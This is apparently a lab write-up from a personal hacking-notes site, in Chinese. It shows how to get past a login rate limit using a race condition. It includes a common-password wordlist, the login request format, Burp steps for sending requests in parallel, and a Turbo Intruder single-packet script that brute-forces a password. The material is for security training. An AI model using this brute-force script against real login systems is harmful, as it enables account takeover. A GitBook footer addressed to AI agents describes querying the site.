> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/rate-limit-bypass-via-race-condition.md).

# 通过竞争条件绕过速率限制

### 通过竞态条件绕过速率限制

认证机制设置了一个 **尝试次数的限制** 以防止暴力破解攻击。/ 然而，\*\*据观察\*\*，由于一个 **竞态条件** 在处理同时请求时。

实验目标：

* 利用竞态条件绕过限制。
* 查找用户密码 **carlos**.
* 连接到应用程序。
* 访问管理面板。
* 删除用户 **carlos**.

#### 使用的密码字典

```bash
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
密码
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```

#### 连接机制观察

在发送登录表单时，\*\*据观察\*\*，会传输一个包含以下参数的 POST 请求：

* `CSRF`
* `username`
* `密码`

```bash
csrf=8SbZ2jaR8pdJ0Q4r0XNqmTeVk5GJHxsx&username=wiener&password=peter
```

<figure><img src="/files/32c67fca8bc57292988efa57de30fe97eb2fe1bc" alt=""><figcaption></figcaption></figure>

在连续几次错误尝试后， **会出现以下消息**:

> *您输入了过多错误的登录尝试。请在 XX 秒后重试。*

这证实了存在一个 **服务器端速率限制**.

<figure><img src="/files/d69677633e398d12d69f3a58d70b82c629a76e66" alt=""><figcaption></figcaption></figure>

#### 通过竞态条件进行并发测试（手动测试）

\*建立一个“竞态条件”组。

<figure><img src="/files/c67333da6ad76d3e0d0f2e94e570f1d4d0c668f6" alt=""><figcaption></figcaption></figure>

* 复制标签页 **10 次**.

<figure><img src="/files/db3121abe3f1d5d4d3d86afad39dc5a508024476" alt=""><figcaption></figcaption></figure>

* 发送所有请求 **并行**.

<figure><img src="/files/507af80774bcf4af44310817bfd190f9e7dfc63f" alt=""><figcaption></figcaption></figure>

测试：

```bash
csrf=ab5gEWlWPKDUCJCQAlxrxR42dLIhJCWR&username=wiener&password=test
```

观察：通过并行发送， **不会发生阻塞** 在这种情况下。

<figure><img src="/files/e9297525620577b08d53f46fdec2fe146e1a8bf9" alt=""><figcaption></figcaption></figure>

#### 使用 Turbo Intruder 对 Carlos 进行并行暴力破解

* 安装并使用 **Turbo Intruder** 扩展。

<figure><img src="/files/d7da7fba78cb30843828ae513d5a97eb650591de" alt=""><figcaption></figcaption></figure>

* 从登录请求中： **发送到 Turbo Intruder**.

<figure><img src="/files/df61e3f3bd236d163ea7157661681951a68be338" alt=""><figcaption></figcaption></figure>

* 选择 **`race single packet attack.py`** 脚本。

<figure><img src="/files/38e78147e58b76298248eb42dd3734d306fc1bba" alt=""><figcaption></figcaption></figure>

* 将密码字典复制到 **剪贴板**，然后使用此脚本运行：

```python
def queueRequests(target, wordlists):

    # 如果目标支持 HTTP/2，请使用 engine=Engine.BURP2 触发单包攻击
    # 如果它们只支持 HTTP/1，请改用 Engine.THREADED 或 Engine.BURP
    # 更多信息请查看 https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )


    passwords = wordlists.clipboard
    # 'gate' 参数会在调用 openGate 之前暂缓每个请求的一部分
    # 如果你看到负时间戳，说明服务器在请求完成前就已响应
    for password in passwords:
        engine.queue(target.req, password, gate='race1')

    # 一旦所有标记为 'race1' 的请求都已排队
    # 调用 engine.openGate() 使它们同步发送
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

#### 观察到的结果

通过并行测试所有值，某个密码返回了一个 \*\*HTTP 302 状态码\*\*（登录成功指示）。

<figure><img src="/files/5fcf8085479896dc4eae49bec8033744dbcd1d43" alt=""><figcaption></figcaption></figure>

\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/race-conditions/rate-limit-bypass-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
